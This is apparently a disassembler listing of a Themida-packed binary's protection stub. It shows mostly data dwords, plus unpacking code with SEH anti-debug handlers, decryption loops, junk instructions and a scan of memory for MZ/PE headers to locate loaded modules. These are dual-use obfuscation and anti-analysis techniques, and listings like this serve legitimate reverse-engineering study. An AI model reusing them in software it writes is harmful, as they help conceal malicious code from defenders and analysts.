		dd 0C489E92Fh, 0A7D287h, 2 dup(0)
		dd 7FFFFFFFh, 5	dup(0)
		dd 77DD6BF0h, 0
		dd 7CDFFFF6h, 0B18D20h,	0
		dd 0A9C530DFh, 0Fh dup(0)
dword_57B29C	dd 0B12918h, 6 dup(0)		db 90h
		db 2Ah,	90h, 7Ch
		align 10h
		dd 79121C99h, 0E698FE36h, 0
		dd 7E05E9Dh, 76B44E5Bh,	5EEC7Ch, 0
		dd 692041Bh, 0
		dd 3DFD8D8Dh, 3	dup(0)
		dd 0E8h, 4 dup(0)
		dd 0FE4D0050h, 31E9h, 5AD14Bh, 945FFE4Bh, 0
		dd 12FEBCh, 8 dup(0)
		dd 6DF6C30Ch, 0Ch dup(0)
		dd 0FF4E05FDh, 0
		dd 253002Ch, 9 dup(0)
		dd 74736552h, 41747261h, 652E7070h, 6578h, 2 dup(0)
		dd 76F36C5Bh, 5	dup(0)
		dd offset dword_57DA5C
		dd 0
		dd offset loc_5E9F97
		dd 5 dup(0)
		dd 129AB8Ch, 3 dup(0)
		dd 129AB8Ch, 6 dup(0)
		dd 0E35189D4h, 0
		dd 32597F5Dh, 2	dup(0)
		dd offset loc_5B3644
		align 10h
		dd 0FB892B50h, 4 dup(0)
		dd offset loc_5B20D4
		dd 0
		dd offset loc_5D919C
		dd 0
		dd 249C9F4h, 0
		dd 0D3E7D77Bh, 2 dup(0)
		dd 12FF54h, 2 dup(0)
		dd 30DFh, 0
		dd 11111111h, 0
		dd offset sub_5B8B74
		dd 0
		dd 12FEC8h, 8Ah	dup(0)
		dd 0A280105h, 0
		dd 2930000h, 0
		dd 26C0000h, 0
		dd 0AFBD6884h, 5B3644h,	0
		dd 1, 10h dup(0)
		dd offset loc_5C93A4
		align 8
		dd 12FFA4h, 981062h, 5B5A0Fh, 21212121h, 3 dup(0)
		dd 0FFA4A618h, 2 dup(0)
		dd offset loc_5AD40E
		dd 4 dup(0)
		dd 68h,	0
		dd 0B1B508h, 0
		dd offset loc_5D6C3B
		dd 5 dup(0)
		dd 3EFCh, 7C916315h, 0
		dd 4, 2	dup(0)
		dd 51F6F940h, 0
		dd offset loc_5C1E18
		dd 0
		dd 129AB8Ch, 0FFED0184h, 981062h, 3 dup(0)
		dd 1, 26D0000h,	0Ah dup(0)
; ---------------------------------------------------------------------------
		mov	al, 0FFh
		retn	1
; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFA060h, 0
		dd 0B731E5h, 0
		dd 1, 0B1FA03h,	17h dup(0)
		dd 3E9BDA02h, 0
		dd 836F146Ch, 0
		dd 4, 0
		dd 0F3E6AA48h, 5 dup(0)
		dd 6D5C3A43h, 706E755Fh, 656B6361h, 72h, 80h dup(0)
		dd 7D4203A3h, 4	dup(0)
		dd 665DB524h, 2	dup(0)
		dd 3D94h, 0
		dd offset sub_5B2328+1
		dd 0
		dd 4001F0h, 0Ah	dup(0)
		dd 7C800000h, 15h dup(0)
		dd 0A60000h, 7 dup(0)
		dd 12FFE0h, 0Ah	dup(0)
		dd 0AE91E458h, 4 dup(0)
		dd 86555974h, 6	dup(0)
		dd offset loc_5CC3B9
		dd 0B11A44h, 0
		dd 7C90EB94h, 0Ch dup(0)
		dd 112FFB0h, 7C90EB94h,	77DFC41Bh, 5 dup(0)
		dd offset dword_4E6ECC+1A868h
		dd 4 dup(0)
		dd offset dword_57C1CC
		align 10h
		dd 20001h, 0
		dd 713Ah, 0Bh dup(0)
		db 90h
		db 17h,	0F2h, 76h
		dd 7 dup(0)
		dd offset loc_5E6372
		dd 5 dup(0)
		dd 7C90EB94h, 5	dup(0)
		dd offset loc_5EA07C
		dd 2 dup(0)
		dd 0B1180Fh, 3 dup(0)
		dd 0AA00h, 0Dh dup(0)
		dd 0FDECB230h, 0
		dd 0FFFFC600h, 90h, 4 dup(0)
		dd 8B32h, 5BA433h, 0Fh dup(0)
		dd 77DD7883h, 13h dup(0)
		dd 88h,	1Ah dup(0)
		dd 20513D02h, 0
		dd 0B73F0Fh, 5EEA6Dh, 3	dup(0)
; ---------------------------------------------------------------------------
		retn	0Ch
; ---------------------------------------------------------------------------
		align 4
		dd 7 dup(0)
		dd 5E8h, 5AD165h, 0FFFFFF8Ch, 0
		dd 18EA9DEFh, 0
		dd 7C804722h, 2	dup(0)
a6666		db '6666',0
		align 4
		dd 5 dup(0)
		dd 0B18E51h, 25C6DD4h, 10h dup(0)
		dd 0FFFF4F7Ah, 2 dup(0)
		dd 0FE3D0050h, 8 dup(0)
		dd offset loc_5D30D1
		dd 4 dup(0)
		dd offset loc_5B5100
		dd 0FFFFFFFFh, 8B32h, 5EF3AEh, 2 dup(0)
		dd offset sub_5D34AB
		dd 5 dup(0)
		dd 0FFFF5F9Eh, 0
		dd offset sub_5E6279
		dd 0
		dd 0FFFF8D68h, 0Fh dup(0)
		dd 6A8ED9B9h, 0
		dd 0A9C530DFh, 3 dup(0)
		dd 7C90EB94h, 3	dup(0)
		dd 12FF54h, 4 dup(0)
		dd 7C90EB94h, 4	dup(0)
		dd 0CAECh, 7C80ABDEh, 400E9h, 77DDEE37h, 2 dup(0)
		dd 7C90EB94h, 0Ah dup(0)
		dd 7C81CDDAh, 0FFB0h, 2	dup(0)
		dd offset loc_57AC2C
		dd 8 dup(0)
		dd offset loc_5A504D+1
		dd 4 dup(0)
		dd 0FFA3BE57h, 45EAE94h, 3 dup(0)
		dd 9ECEh, 0FFFBFF17h, 5AD3E6h, 12FFA4h,	2 dup(0)
		dw 3Eh
		unicode	0, <±>,0
		align 4
		dd 4 dup(0)
		dd 0E1DE586h, 5	dup(0)
		dd 0FFFF2AF0h, 0
		dd 30081FD3h, 0
		dd offset loc_5DDD8E
		dd offset loc_5FDCAF
		dd 2 dup(0)
		dd offset word_5D4B22
		dd 4928D8Dh, 8 dup(0)
		dd 56Dh, 0FFFF6211h, 0
		dd offset dword_5CB524
		dd 8 dup(0)
		dd 129AB7Dh, 0E896DE4Dh, 0
		dd 129AB8Ch, 2 dup(0)
dword_57C1CC	dd 0FCh, 3 dup(0)					; Themida_:0057BC78o
		dd 0FBD96FA6h, 5 dup(0)
		dd 1, 3	dup(0)
		dd 0EC8h
dword_57C208	dd 0				dd 129AB8Ch, 0
		dd 12FFF0h, 0B73FFCh, 9	dup(0)
		dd 0B10000h, 2 dup(0)
		dd offset loc_57DD80
		dd 3 dup(0)
		dd offset dword_57A86C+4
		dd 2 dup(0)
		dd 2, 836F146Ch, 0B19417h, 0
		dd offset dword_57A86C+5
		dd offset dword_57A6BC
		dd 6 dup(0)
		dd 9027FDD5h, 17375Ch, 77F7F117h, 6 dup(0)
		dd 0D5BE9B37h, 4 dup(0)
		dd 0B1EC7Ch, 0
		dd 0C8h, 0
		dd offset loc_5E7D12
		dd 0A0h, 2 dup(0)
		dd 0D0D4956h, 2	dup(0)
		dd 0BC7A36h, 0
		dd 7C90EB94h, 0
		dd offset loc_5C0BD0+3
		dd 0
		dd 12FFA4h, 3 dup(0)
		dd 0FFFFFFFEh, 0
		dd 0B817A6h, 8 dup(0)
		dd 8Ch,	12FEC8h, 0
		dd 0FFFF6617h, 3 dup(0)
		dd 7C81CDDAh, 132FFB0h,	0Bh dup(0)
		dd 0FFFE946Ch, 0
		dd 2710h, 2Ah dup(0)
		dd offset loc_5B1299+1
		dd 7 dup(0)
		dd 12FF60h, 0A0h, 5 dup(0)
		dd 99B1h, 12FFE0h, 4 dup(0)
		dd 2A4139C9h, 5	dup(0)
		dd 0A9C530DFh, 7C80B4CFh, 9959h, 2 dup(0)
		dd 7C91056Dh, 3	dup(0)
		dd 7DA7E680h, 5	dup(0)
; ---------------------------------------------------------------------------
		jmp	near ptr byte_57C901
; ---------------------------------------------------------------------------
		align 4
		dd 6 dup(0)
		dd offset loc_5BA430+3
		dd 0B1FA37h, 0DA44h, 0
		dd 26E0000h, 5 dup(0)
		dd 2DA27F8h, 4 dup(0)
		dd offset loc_5B719C
		dd 4 dup(0)
		dd 0FFFE946Ch, 0
aFirCWindowsSys	db 'ӑ|C:\WINDOWS\system32\ADVAPI32.dll',0
		align 4
		dd 39h dup(0)
		dd offset loc_5FC7A8
		align 10h
		dd offset sub_5FB366
		dd 2 dup(0)
		dd 129AB8Ch, 2 dup(0)
dword_57C6A8	dd 4, 3	dup(0)			dd 4Ch,	0
		dd offset loc_5CE3FB
a333333333333	db '333333333333',0
		align 4
		dd 6 dup(0)
		dd 9Ch,	0FFA494DFh, 0Dh	dup(0)
		dd 49749180h, 0
		dd offset byte_5C59C9
		dd 74D4FD48h, 3	dup(0)
		dd 0A5D0E5BEh, 78h, 2 dup(0)
		dd 0B70213h, 7 dup(0)
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 9Ah,	5Bh, 0
		dd 0
		dd 1, 4	dup(0)
		dd 836F146Ch, 7	dup(0)
		dd offset byte_5A9CF7
		dd 12FFC4h, 0
		dd 7C90EB94h, 7C800001h, 8 dup(0)
		dd 1, 0
		dd 713B56D8h, 6	dup(0)
		dd 660188FBh, 3	dup(0)
		dd 665DB524h, 0
		dd 0DDBB0000h, 4 dup(0)
		dd 4756EDE5h, 0
		dd 70h,	4 dup(0)
		dd 0B11842h, 5 dup(0)
		dd 7C80180Eh, 8	dup(0)
		dd 5698h, 4 dup(0)
		dd 0B3h, 9 dup(0)
		dd 12543FE0h, 5	dup(0)
		dd 0B69178h, 7 dup(0)
		db 0
byte_57C901	db 3 dup(0)		; CODE XREF: Themida_:0057C4FCj
		align 8
		dd 190Ah, 0
		dd offset loc_5C0BD0+3
		align 8
		dd offset loc_5CA2B6
		dd 4 dup(0)
		dd 0DFD0B015h, 0
		dd offset dword_4E6ECC+427Ch
		dd 0
		dd offset loc_5E735D+4
		dd 0
		dd 2156F4E7h, 4	dup(0)
		dd 7E41A8ADh, 7C90EB94h, 0
		dd 504Eh, 0B1180Fh, 0
		dd 7C90EE18h, 0
		dd 224E63Eh, 2 dup(0)
		dd 7C90EB94h, 6Ch, 0
		dd 0B1180Fh, 6 dup(0)
		dd 199CFE6Dh, 3	dup(0)
		dd 0E0h, 2 dup(0)
		dd 113014h, 0B1FA03h, 5	dup(0)
		dd offset word_5ED70E
		align 10h
		dd 0E7156211h, 3 dup(0)
		dd 4D000h, 5D34ABh, 5 dup(0)
; ---------------------------------------------------------------------------
		jmp	near ptr word_57CABA
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
		dd offset loc_5B719C
		dd 1D835B68h, 0
		dd 76F21510h, 123BC3h, 0
		dd offset dword_57C6A8
		dd 0
		dd 3D94h, 0B137ECh, 0
		dw 3Eh
		unicode	0, <±>,0
		align 10h
		dd 0
		dd 0ACh, 14h dup(0)
		db 2 dup(0)
word_57CABA	dw 0			; CODE XREF: Themida_:0057CA1Cj
		dd 2 dup(0)
		dd 0FFFF8DECh, 0B6h dup(0)
; ---------------------------------------------------------------------------
		retn	80ABh
; ---------------------------------------------------------------------------
		db 7Ch
		dd 94h,	3 dup(0)
		dd 7E41A8ADh, 0FFFE0B6Ch, 0
		dd 60000h, 0
		dd 32597F5Dh, 0B3FCADh,	2 dup(0)
		dd 0A4h, 0
		dd 7CED2A9Eh, 0
		dd 16B94h, 0
		dd offset loc_5C4EAA
		dd 5 dup(0)
		dd 7C90EB94h, 3	dup(0)
		dd 0DC1E4954h, 80h, 3 dup(0)
		dd 5643h, 5B3656h, 7C800D10h, 2	dup(0)
		dd 0FFFF9DEFh, 1020h, 8	dup(0)
		dd 0BC7BB91Eh, 3 dup(0)
		dd offset word_5EE6A6
		dd 0FDC9A77Eh, 0
		dd 0B40A4h, 0
		dd 1, 400000h, 2Eh dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_57CF4C:				; CODE XREF: start:loc_579A2Fj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 6153527h
		mov	[ebp+6152D85h],	edx
		mov	[ebp+6152AA5h],	esi
		mov	[ebp+61527E5h],	eax
		cmp	dword ptr [ebp+61507A9h], 0
		jz	short loc_57CF84
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_57CF84:				; CODE XREF: start+69F62j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6152559h],	eax
		push	45h
		call	sub_57D038
		push	783749Ah
		call	sub_57D07E
		push	0A894B25h
		call	sub_57D07E
		jmp	loc_57D1C2
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 4645h
		dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h
		dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh
		dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh
		dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h
		dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h
		dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh
		dd 0C2C1C0BFh, 0C3h, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_57D038	proc near		; CODE XREF: start+69F7Cp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6153615h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_57D054:				; CODE XREF: sub_57D038+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_57D073
		mov	eax, [ebp+arg_0]
		mov	[ebx+615357Fh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_57D054
; ---------------------------------------------------------------------------


loc_57D073:				; CODE XREF: sub_57D038+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_57D038	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_57D07E	proc near		; CODE XREF: start+69F86p start+69F90p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 615365Eh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_57D0A4:				; CODE XREF: sub_57D07E+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_57D0A4
		mov	[ebp+var_84], 0
		lea	edi, [edx+615357Fh]
		lea	esi, [ebp+var_80]


loc_57D0D4:				; CODE XREF: sub_57D07E+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_57D0E0:				; CODE XREF: sub_57D07E+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_57D0E0
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_57D0D4
		popa
		leave
		retn	4
sub_57D07E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_57D11E
; ---------------------------------------------------------------------------


loc_57D11A:				; CODE XREF: Themida_:0057D121j
		inc	dword ptr [ebp-4]
		inc	esi


loc_57D11E:				; CODE XREF: Themida_:0057D118j
		cmp	byte ptr [esi],	0
		jnz	short loc_57D11A
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_57D1AF
; ---------------------------------------------------------------------------


loc_57D130:				; CODE XREF: Themida_:0057D1B2j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_57D1A6
; ---------------------------------------------------------------------------


loc_57D139:				; CODE XREF: Themida_:0057D1AAj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_57D193
; ---------------------------------------------------------------------------


loc_57D149:				; CODE XREF: Themida_:0057D197j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_57D16B
		cmp	bl, 39h
		ja	short loc_57D16B
		sub	bl, 30h
		jmp	short loc_57D18D
; ---------------------------------------------------------------------------


loc_57D16B:				; CODE XREF: Themida_:0057D15Fj
					; Themida_:0057D164j
		cmp	bl, 61h
		jb	short loc_57D17D
		cmp	bl, 66h
		ja	short loc_57D17D
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_57D18D
; ---------------------------------------------------------------------------


loc_57D17D:				; CODE XREF: Themida_:0057D16Ej
					; Themida_:0057D173j
		cmp	bl, 41h
		jb	short loc_57D18D
		cmp	bl, 46h
		ja	short loc_57D18D
		sub	bl, 41h
		add	bl, 0Ah


loc_57D18D:				; CODE XREF: Themida_:0057D169j
					; Themida_:0057D17Bj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_57D193:				; CODE XREF: Themida_:0057D147j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_57D149
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_57D1A3
		mov	eax, [ebp-10h]
		stosb


loc_57D1A3:				; CODE XREF: Themida_:0057D19Dj
		inc	dword ptr [ebp-8]


loc_57D1A6:				; CODE XREF: Themida_:0057D137j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_57D139
		add	edx, 4


loc_57D1AF:				; CODE XREF: Themida_:0057D12Ej
		cmp	edx, [ebp-4]
		jb	loc_57D130
		mov	al, 0
		stosb
		mov	eax, [ebp-4]

locret_57D1BE:				; CODE XREF: Themida_:0057D235j
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_57D1C2:				; CODE XREF: start+69F95j
		mov	ecx, 7000h
		lea	edi, [ebp+61537A4h]


loc_57D1CD:				; CODE XREF: start+6A1BDj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_57D1CD
		mov	eax, 48692121h
		mov	edx, 0F0113000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+615389Eh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	ebx, 5CF2F1B5h
		mov	bx, cx
		sub	eax, edx
		js	loc_57D213
		mov	ebx, 7EAFA86h


loc_57D213:				; CODE XREF: start+6A1F4j
		and	eax, 0FFFFF000h
		push	0
		push	edi
		call	sub_57D223
		and	[edi-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_57D223	proc near		; CODE XREF: start+6A207p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_57D223	endp

; ---------------------------------------------------------------------------
		cmc
		pop	ebx
		jl	short locret_57D1BE
		sub	ch, [edi]
		cli
		idiv	dword ptr [edi-2148F0E7h]
		mov	ecx, edx
		xor	edi, edi


loc_57D244:				; CODE XREF: Themida_:0057D25Fj
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_57D259
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_57D261


loc_57D259:				; CODE XREF: Themida_:0057D249j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_57D244
; ---------------------------------------------------------------------------


loc_57D261:				; CODE XREF: Themida_:0057D257j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+61538B1h]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_57D29B
		mov	esi, [eax+1Ch]


loc_57D29B:				; CODE XREF: Themida_:0057D296j
		xor	eax, eax


loc_57D29D:				; CODE XREF: Themida_:0057D2B0j
		cmp	eax, 32h
		jz	short loc_57D2C1
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_57D2B2


loc_57D2A9:				; CODE XREF: Themida_:0057D2BFj
		sub	esi, 10000h
		inc	eax
		jmp	short loc_57D29D
; ---------------------------------------------------------------------------


loc_57D2B2:				; CODE XREF: Themida_:0057D2A7j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_57D303
		jmp	short loc_57D2A9
; ---------------------------------------------------------------------------


loc_57D2C1:				; CODE XREF: Themida_:0057D2A0j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61538BCh
		lea	eax, [ebp+615387Ah]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_57D303:				; CODE XREF: Themida_:0057D2BDj
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		push	0
		push	esi
		call	sub_57D319
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D319	proc near		; CODE XREF: Themida_:0057D311p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_57D319	endp

; ---------------------------------------------------------------------------
		db 22h,	2, 66h
		dd 0D780DE8Bh, 0D98C666Ch, 0AE850h, 466B0000h, 0AAF878F8h
		dd 22369F09h, 0CE9h, 9D96D00h, 251C06ECh, 0BC073C74h, 805B5B9Bh
		dd 816604E1h, 0ADE50CBh, 34850FC9h, 0F000000h, 85C7D9BFh
		dd 6152DB5h, 1,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	9CC35747h, 0E9F820B6h, 0Fh, 0C7E0DB80h,	152DB585h
		dd 6, 89DE8B00h, 15168585h, 15A7BB06h, 85894F7Eh, 6152811h
		dd 0BE8h, 2B81D100h, 17432545h,	0A585F0A4h, 60CEB760h
		dd 8F0FF28Bh, 0
; ---------------------------------------------------------------------------
		popa
		popa
		pop	edx
		xor	esi, 20DBE0F0h
		add	edx, 6BFDh
		push	1ACDh
		jmp	loc_57D3FF
; ---------------------------------------------------------------------------
		db 0F6h, 0FEh, 0B6h
		dd 0DEEAD682h, 373D1ED6h, 36307222h
		db 4Dh,	6, 0D3h
; ---------------------------------------------------------------------------


loc_57D3FF:				; CODE XREF: Themida_:0057D3E8j
		pop	eax
		pusha
		call	near ptr loc_57D411+1
		fdivr	qword ptr [esi-72h]
		and	esp, ebp
		fisub	word ptr [eax]
		sub	al, 95h
		pop	ds
		xchg	eax, ebp


loc_57D411:				; CODE XREF: Themida_:0057D401p
		add	[esi-75h], ah
		rcr	byte ptr [esi+66h], 1
		mov	eax, ecx
		popa


loc_57D41A:				; CODE XREF: Themida_:0057D482j
		mov	ecx, [edx]
		sbb	si, 107Eh
		xor	ecx, 639294B7h
		mov	si, 0ED68h
		sub	ecx, 2789748Ah	; CODE XREF: Themida_:0057D474j
		mov	bx, si
		add	ecx, 58664DDAh
		pusha
		pusha
		jmp	loc_57D44E
; ---------------------------------------------------------------------------
		mov	ds, word ptr [ebx+6716CFE4h]
		rcr	ch, 0F7h
		clc
		adc	eax, ebp
		dec	edi


loc_57D44E:				; CODE XREF: Themida_:0057D43Cj
		popa
		mov	ebx, ecx
		popa
		push	ecx
		mov	bx, 0FA80h
		pop	dword ptr [edx]
		sub	edx, 3
		pusha
		mov	ebx, esi
		and	eax, 24C4EF19h
		popa
		dec	edx
		call	near ptr loc_57D47A+1
		mov	ds, word ptr es:[ecx+5C92AA93h]
		cdq
		loope	near ptr loc_57D42B+3
		repne in eax, dx
		pop	es
		inc	edi


loc_57D47A:				; CODE XREF: Themida_:0057D467p
		out	0BFh, al	; Interrupt Controller #2, 8259A
		and	eax, 5B708775h
		dec	eax
		jnz	loc_57D41A
		mov	edi, edx
		call	sub_57D4A3
		jle	short near ptr loc_57D48F+1 ; CODE XREF: Themida_:loc_57D48Fj
		db	3Eh
		xlat
		outsd
		push	es
		in	eax, dx
		rcl	dword ptr [esi-16h], cl
		pop	esi
		add	byte ptr [ebx],	6Bh
		hlt
; ---------------------------------------------------------------------------
		dw 56E5h
		db 0E4h, 18h, 61h

; =============== S U B	R O U T	I N E =======================================



sub_57D4A3	proc near		; CODE XREF: Themida_:0057D48Ap
		mov	edi, 7A7BE977h
		pop	esi
		xor	ch, 0E5h
		add	esi, 6130h
		sub	ecx, 0E0AFD4Ch
		mov	edx, 181Ah
		mov	edi, 14927026h


loc_57D4C2:				; CODE XREF: Themida_:loc_57D54Aj
		push	dword ptr [esi]
		pop	eax
		jnb	loc_57D4D0
		mov	ebx, 6E6CEBBFh


loc_57D4D0:				; CODE XREF: sub_57D4A3+22j
		add	eax, 4CF281BDh
		call	near ptr loc_57D4EA+2
		arpl	ax, bx
		loopne	near ptr loc_57D52E+1
		sub	eax, 0FFFFFFE6h
		test	eax, 57F987A1h
		mov	dl, 7Ah
		lodsd


loc_57D4EA:				; CODE XREF: sub_57D4A3+33p
		and	[bx+di+40F7h], eax
sub_57D4A3	endp ; sp-analysis failed

		jecxz	short near ptr loc_57D56B+1
		jge	short near ptr loc_57D54A+2
		xor	eax, 7A7DF2A2h
		sub	eax, 9EE60BFh
		sub	ebx, 0A8337B5h
		push	eax
		mov	bx, 97D1h
		pop	dword ptr [esi]
		jg	loc_57D518
		pusha
		mov	eax, ebx
		push	edi
		pop	eax
		popa


loc_57D518:				; CODE XREF: Themida_:0057D50Cj
		sub	esi, 4
		jmp	loc_57D525
; ---------------------------------------------------------------------------
		dd 96112EDBh
; ---------------------------------------------------------------------------
		xlat


loc_57D525:				; CODE XREF: Themida_:0057D51Bj
		sub	edx, 1
		jnz	loc_57D54A


loc_57D52E:				; CODE XREF: sub_57D4A3+3Aj
		add	bh, 0B1h
		jmp	loc_57D55B
; ---------------------------------------------------------------------------
		dw 59A2h
		dd 0EA7D08E6h, 0E3ABF9B3h, 7577873Fh, 0CBC1997Ch
		db 87h,	73h
; ---------------------------------------------------------------------------


loc_57D54A:				; CODE XREF: Themida_:0057D528j
					; Themida_:0057D4F1j
		jmp	loc_57D4C2
; ---------------------------------------------------------------------------
		db 0CFh
		dd 4BBC5773h, 0F5E36963h
		db 41h,	0FEh, 0EFh
; ---------------------------------------------------------------------------


loc_57D55B:				; CODE XREF: Themida_:0057D531j
		jmp	short loc_57D561
; ---------------------------------------------------------------------------
		db 1Bh,	2, 0
		db 0
; ---------------------------------------------------------------------------


loc_57D561:				; CODE XREF: Themida_:loc_57D55Bj
		jmp	loc_57DC6A
; ---------------------------------------------------------------------------
		cld

; =============== S U B	R O U T	I N E =======================================



sub_57D567	proc far		; DATA XREF: Themida_:0057A7ACo
					; Themida_:0057AB74o

var_24		= dword	ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		pusha
		pusha
		mov	esi, ecx


loc_57D56B:				; CODE XREF: Themida_:0057D4EFj
		jo	loc_57D577
		jbe	$+6


loc_57D577:				; CODE XREF: sub_57D567:loc_57D56Bj
		popa
		mov	eax, 0
		jmp	loc_57D588
; ---------------------------------------------------------------------------
		dw 0FB4Eh
		dd 0E1BDC699h
; ---------------------------------------------------------------------------


loc_57D588:				; CODE XREF: sub_57D567+16j
		mov	edx, [esp+20h+arg_0]
		cld
		mov	[ebp+6150A5Dh],	eax
		pusha
		mov	edi, 3FC3FB29h
		clc
		popa
		mov	esi, 3Ch
		jmp	loc_57D5AF
; ---------------------------------------------------------------------------
		db 0E5h, 0ADh, 18h
; ---------------------------------------------------------------------------
		mov	al, 4Eh
		movsb
		stc
		xchg	dh, ch
		xchg	eax, esi


loc_57D5AF:				; CODE XREF: sub_57D567+39j
		add	esi, [esp+24h]
		jbe	loc_57D5C5
		jp	loc_57D5C5
		mov	[ebp+61527E1h],	esi


loc_57D5C5:				; CODE XREF: sub_57D567+4Cj
					; sub_57D567+52j
		lodsw
		mov	[ebp+61518C5h],	eax
		add	eax, [esp+24h]
		mov	[ebp+6152C51h],	ebx
		push	eax
		jz	loc_57D5E2
		pusha
		mov	al, bl
		popa


loc_57D5E2:				; CODE XREF: sub_57D567+71j
		mov	[esp+24h+var_24], eax
		pusha
		push	eax
		sub	[ebp+61526F5h],	edx
		pop	edx
		mov	edi, [ebp+6151459h]
		popa
		mov	eax, [eax+78h]
		jmp	loc_57D608
; ---------------------------------------------------------------------------
		db 0BFh, 9Eh, 7Ah
		dd 7BEC6C01h, 1E448AE1h
; ---------------------------------------------------------------------------


loc_57D608:				; CODE XREF: sub_57D567+91j
		add	eax, [esp+28h]
		stc
		pusha
		mov	ebx, [ebp+6150981h]
		movzx	ebx, di
		popa
		mov	eax, [eax+18h]
		mov	[ebp+615098Dh],	edx
		inc	eax
		mov	[ebp+6151099h],	esi
		mov	[ebp+6153B2Eh],	eax
		cld
